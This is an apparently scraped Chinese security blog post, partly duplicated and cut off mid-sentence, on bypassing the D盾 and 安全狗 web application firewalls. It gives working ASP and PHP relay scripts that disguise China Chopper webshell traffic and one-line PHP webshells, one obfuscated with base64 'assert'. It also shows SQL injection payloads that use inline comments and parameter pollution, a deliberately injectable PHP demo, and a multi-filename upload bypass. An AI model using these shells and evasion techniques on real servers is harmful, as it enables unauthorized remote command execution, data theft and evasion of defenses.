绕过D盾安全狗连接菜刀

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了绕过D盾安全狗连接菜刀相关的知识,希望对你有一定的参考价值。

0x00 各种奇葩符号
现在基本上没啥用了,毕竟几年前的小玩意儿
/;.xxx.asp;.jpg
/;00.asp/00.jpg
像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下
0x02## 中转(1),抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字
code:
<%
JmStr=Replace(Request.Form,"$_POST","$_REQUEST")
JmStr=Replace(JmStr,"->|","-->|")
JmStr=Replace(JmStr,"@eval(","@eval   (")
JmStr=Replace(JmStr,"System.Convert.FromBase64String","System.Convert. FromBase64String")
JMUrl=request("dz")
response.write  request("dz")
JmRef=JMUrl
JmCok=""
response.write  PostData(JMUrl,JmStr,JmCok,JmRef)
Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef
.SetRequestHeader "Cookie",PostCok
.Send PostStr
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)
strReturn=""
Dim i
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
strReturn=Replace(strReturn,chr(32),"%20") 转换空格,如果网站过滤了空格,尝试用/**/来代替%20
strReturn=Replace(strReturn,chr(43),"%2B")  JMDCW增加转换+字符strReturn=Replace(strReturn,过滤字符,"转换为字符")  在此增加要过滤的代码
URLEncoding=strReturn
End Function
%>

用法:
1.将这个脚本拿到可执行的.asp目录
2.访问 http://www.sec.com/demo.asp?dz="要过的shell地址“
3.把地址输入菜刀,密码就是你设置的shell密码,类型还选一句话后缀
例如:http://www.sec.com/demo.asp?dz=http://www.sec.com/yijuhua.php  密码
4.这个脚本暂时支持.php .aspx的一句话连接 .asp的不能用

 

0x02## 中转(2) 若果上面脚本失效,可以使用这个

<?php
$webshell="http://www.70sec.com/70sec.php";//把这里改成你的shell地址
$webshell=$webshell."?&1141056911=base64_decode";
$da=$_POST;
$data = $da;
@$data=str_replace("base64_decode(",$_GET[1141056911](,$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911](
 //print_r($data);
$data = http_build_query($data);  
$opts = array (  
http => array (  
method => POST,  
header=> "Content-type: application/x-www-form-urlencoded\r\n" .  
"Content-Length: " . strlen($data) . "\r\n",  
content => $data)
);
$context = stream_context_create($opts);  
$html = @file_get_contents($webshell, false, $context); //发送post  
echo $html;  
?>

小马的话你可以把这两个丢进去:

<?php $a=$_GET[a];$a($_POST[cmd]);?>
<?php $x=base64_decode("YXNzZXJ0");$x($_POST[c]);?>;

用法:
1.把$webshell改成你的webshell地址
2.把代码保存为1234.php放到你本地的php环境里 然后直接丢菜刀连接
菜刀

技术分享

 

 

 

 

 


 

0x00 各种奇葩符号
现在基本上没啥用了,毕竟几年前的小玩意儿
/;.xxx.asp;.jpg
/;00.asp/00.jpg
像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下

0x02## 中转(1),抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字

code:

 

01 <%
02 JmStr=Replace(Request.Form,"$_POST","$_REQUEST")
03 JmStr=Replace(JmStr,"->|","-->|")
04 JmStr=Replace(JmStr,"@eval(","@eval   (")
05 JmStr=Replace(JmStr,"System.Convert.FromBase64String","System.Convert. FromBase64String")
06 JMUrl=request("dz")
07 response.write  request("dz")
08 JmRef=JMUrl
09 JmCok=""
10 response.write  PostData(JMUrl,JmStr,JmCok,JmRef)
11 Function PostData(PostUrl,PostStr,PostCok,PostRef)
12 Dim Http
13 Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
14 With Http
15 .Open "POST",PostUrl,False
16 .SetRequestHeader "Content-Length",Len(PostStr)
17 .SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
18 .SetRequestHeader "Referer",PostRef
19 ‘.SetRequestHeader "Cookie",PostCok
20 .Send PostStr
21 PostData = .ResponseBody
22 End With
23 Set Http = Nothing
24 PostData =bytes2BSTR(PostData)
25 End Function
26 Function bytes2BSTR(vIn)
27 Dim strReturn
28 Dim I, ThisCharCode, NextCharCode
29 strReturn = ""
30 For I = 1 To LenB(vIn)
31 ThisCharCode = AscB(MidB(vIn, I, 1))
32 If ThisCharCode < &H80 Then
33 strReturn = strReturn & Chr(ThisCharCode)
34 Else
35 NextCharCode = AscB(MidB(vIn, I + 1, 1))
36 strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 +CInt(NextCharCode))
37 I = I + 1
38 End If
39 Next
40 bytes2BSTR = strReturn
41 End Function
42 Function URLEncoding(vstrin)
43 strReturn=""
44 Dim i
45 For i=1 To Len(vstrin)
46 ThisChr=Mid(vstrin,i,1)
47 if Abs(Asc(ThisChr))< &HFF Then
48 strReturn=strReturn & ThisChr
49 Else
50 InnerCode=Asc(ThisChr)
51 If InnerCode<0 Then
52 InnerCode=InnerCode + &H10000
53 End If
54 Hight1=(InnerCode And &HFF00) \&HFF
55 Low1=InnerCode And &HFF
56 strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
57 End if
58 Next
59 strReturn=Replace(strReturn,chr(32),"%20"‘转换空格,如果网站过滤了空格,尝试用/**/来代替%20
60 strReturn=Replace(strReturn,chr(43),"%2B")  ‘JMDCW增加转换+字符
61 ‘strReturn=Replace(strReturn,过滤字符,"转换为字符")  ‘在此增加要过滤的代码
62 URLEncoding=strReturn
63 End Function
64 %>

用法:
1.将这个脚本拿到可执行的.asp目录
2.访问 http://www.sec.com/demo.asp?dz="要过的shell地址“
3.把地址输入菜刀,密码就是你设置的shell密码,类型还选一句话后缀
例如:http://www.sec.com/demo.asp?dz=http://www.sec.com/yijuhua.php  密码
4.这个脚本暂时支持.php .aspx的一句话连接 .asp的不能用

 

 

0x02## 中转(2) 若果上面脚本失效,可以使用这个

 

01 <?php
02 $webshell="http://www.70sec.com/70sec.php";//把这里改成你的shell地址
03 $webshell=$webshell."?&1141056911=base64_decode";
04 $da=$_POST;
05 $data $da;
06 @$data=str_replace("base64_decode(",‘$_GET[1141056911](‘,$data);//接收菜刀的post,并把base64_decode替换成$_GET[1141056911](
07  //print_r($data);
08 $data = http_build_query($data); 
09 $opts array 
10 ‘http‘ => array 
11 ‘method‘ => ‘POST‘
12 ‘header‘=> "Content-type: application/x-www-form-urlencoded\r\n"
13 "Content-Length: " strlen($data) . "\r\n"
14 ‘content‘ => $data)
15 );
16 $context = stream_context_create($opts); 
17 $html = @file_get_contents($webshell, false, $context); //发送post 
18 echo $html
19 ?>

小马的话你可以把这两个丢进去:

 

 

1 <?php $a=$_GET[‘a‘];$a($_POST[‘cmd‘]);?>
2 <?php $x=base64_decode("YXNzZXJ0");$x($_POST[‘c‘]);?>;

用法:
1.把$webshell改成你的webshell地址
2.把代码保存为1234.php放到你本地的php环境里 然后直接丢菜刀连接
菜刀

 

技术分享

 

0x03## 伪装user-agent
网上工具有很多,你可以随便找一个用,firfox也是比较强大的,我用的是铁鹰兄的WAF绕过神器来做试验的,地址放在下面

技术分享

首先假设一个代理,ie设置之后,那么ie的流量就从这个端口过。
指定域名,也就是只正对目标站修改user-agent,减少工作量。
get改为post好像是过智创waf的吧。

 

 

0x04## 复参数绕过
比如一个请求是这样的
GET http://www.sec.com/pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET http://www.sec.com/pen/news.php?id=1&amp;;;id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,目前安全狗的话可以绕过一丢丢语句

 

0x05## 番外篇 SQL注入绕过
ok,首先来一发demo存在SQL注入漏洞的php

 

01 <?
02 $uid $_REQUEST[‘id‘];
03 if(!$conn = @mysql_connect("localhost""root""123456"))
04 die(‘<font size=+1>An Error Occured</font><hr>unable to connect to the database.‘);
05 if([email protected]_select_db("supe",$conn))
06 die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");
07 $text "select * from supe_members where uid=".$uid;
08 $rs = mysql_query ($text,$conn);
09 while($rom = mysql_fetch_array($rs))
10 {
11     echo $rom["username"];
12 }
13 ?>

因为用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:

 

技术分享

 

测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/*/是不行的,安全狗也防了这块。但是对内联注释/!and*/这种不知道为什么安全狗没有拦截。
我用下面的语句居然成功绕过SQL注入过滤:
http://www.sec.com/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17

0x05## 番外篇 上传绕过
我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。经过了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。原因是安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是i

以上是关于绕过D盾安全狗连接菜刀的主要内容,如果未能解决你的问题,请参考以下文章

整理的最新WebSHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)

HTTP协议bypass WAF(狗/盾)

绕过安全狗进行sql注入(MySQL)

Fuzz安全狗注入绕过

端口扫描绕过实践

如何绕过安全狗?